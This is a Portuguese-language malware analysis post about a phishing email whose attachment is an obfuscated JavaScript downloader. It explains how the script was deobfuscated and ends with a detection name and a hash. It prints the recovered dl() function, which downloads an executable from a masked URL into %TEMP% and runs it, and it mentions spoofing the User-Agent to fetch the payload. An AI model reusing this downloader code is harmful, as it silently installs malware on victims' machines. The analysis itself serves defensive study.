Análise de novo script malicioso

Essa semana recebemos um arquivo suspeito e através de uma análise básica confirmamos se tratar de um malware. Neste texto mostramos como confirmamos que o arquivo é malicioso e como esta ameaça poderia impactar um ambiente comprometido por ela.

O e-mail é uma das formas mais utilizadas para a propagação de malware e neste caso não foi diferente. No corpo do e-mail podemos observar uma mensagem relativamente convincente tentando, através da engenharia social, levar a vítima a abrir um arquivo comprimido, anexo à mensagem.

Figura 1: E-mail falso (phishing) enviado às vítimas
Figura 1: E-mail falso (phishing) enviado às vítimas

Ao descomprimir o arquivo, a vítima se depara com um script malicioso (escrito em JavaScript, que roda no navegador). Seu conteúdo é altamente ofuscado, como mostra a imagem abaixo:

Figura 2: Conteúdo do script malicioso
Figura 2: Conteúdo do script malicioso

Desofuscamos o arquivo, de forma manual (para isso é preciso algum conhecimento em JavaScript, lógica de programação, tempo e paciência). O resultado pode ser visto na imagem abaixo:

Figura 3: Conteúdo desofuscado do script malicioso
Figura 3: Conteúdo desofuscado do script malicioso

Na imagem acima podemos perceber que no código há várias funções, chamadas em cascata, ou seja, uma função que chama outra e assim sucessivamente. Esta é uma técnica conhecida de ofuscação de código.

Como estas funções funcionam?

Neste código podemos observar um padrão:

function iy() {

b = ‘eval’;

a += ‘(er’;

de();

};

function = Informa ao interpretador que uma função está sendo declarada

iy() = Nome da função.

b = Representa uma variável utilizada para armazenar determinado valor, no caso um texto (string) ‘eval’, que será explicado posteriormente.

a = Representa outra variável para armazenar determinado valor. No caso, uma variável global, que tem seu conteúdo montado com a ajuda de diversas funções no código.

de() = Chamada para outra função, implementando o algoritmo de cascata.

Precisamos também extrair informações que julgamos importantes para a análise. Começamos buscando referências de endereços web e domínios no código e encontramos o que poderia ser o começo de uma:

Figura 4: Primeira função utilizada para análise do arquivo malicioso
Figura 4: Primeira função utilizada para análise do arquivo malicioso

Após achar a função ju(), notamos que ela faz referência a outra função chamada fi() e com isso damos sequência na investigação:

Figura 5: Segunda função utilizada para análise do arquivo malicioso
Figura 5: Segunda função utilizada para análise do arquivo malicioso

Nesta função, percebemos que a variável “a”, que na função anterior tem seu conteúdo inicializado com o texto “htt”, sofre agora uma concatenação (perceba o operador +=) com o texto “p:/”, resultando assim em “http:/”.

Após seguir todos apontamentos das funções, chegamos à seguinte URL:

“http://xxxx.xxxx.com/document.php?id=5453575E14011249111701161724080D1710174A170B11160701020B1603014A0A0110&rnd=9762521”

Ao analisarmos todo o esquema de cascateamento das funções existentes no arquivo .JS, pudemos chegar ao codigo abaixo:

function dl(fr, fn, rn){
      var ws = new ActiveXObject(“WScript.Shell”);
      var fn = ws.ExpandEnvironmentStrings(“%TEMP%”) + String.fromCharCode(92) + fn;
      var xo = new ActiveXObject(“MSXML2.XMLHTTP”);
      xo.onreadystatechange = function (){
        if (xo.readyState === 4){
          var xa = new ActiveXObject(“ADODB.Stream”);
          xa.open();
          xa.type = 1;
          xa.write(xo.ResponseBody);
          xa.position = 0;
          xa.saveToFile(fn, 2);
          xa.close();
        }
        ;
      }
      ;
      try {
        xo.open(“GET”, fr, false);
        xo.send();
        if (rn > 0){
          ws.Run(fn, 0, 0);
        }
        ;
      }
      catch (er){
      }
      ;
    }
    ;
    dl(“http://xxxx.xxxx.com/document.php?id=5453575E14011249111701161724080D1710174A170B11160701020B1603014A0A0110&rnd=9762521”, “62988335.exe”, 1);

O código acima baixa um arquivo do link informado como primeiro parâmetro da função dl(), nomeado 62988335.exe no diretorio temporário e o executa.

Este script pode ser classificado como um Downloader, ameaças que fazem o download de outros arquivos maliciosos com o intuito de infectar o sistema. O site em questão possuía proteção contra download via wget. Para podermos baixar o malware foi necessário fazer a alteração do cabeçalho User-Agent na requisiçao HTTP, forçando uma identificação similar a do navegador Mozilla Firefox.

A Trend Micro detecta este malware como JS_NEMUCOD.SMB

Identificador de Comprometimento:

d0c09b89a3bdf8e19f6e41d715e30d77  00170364.doc.js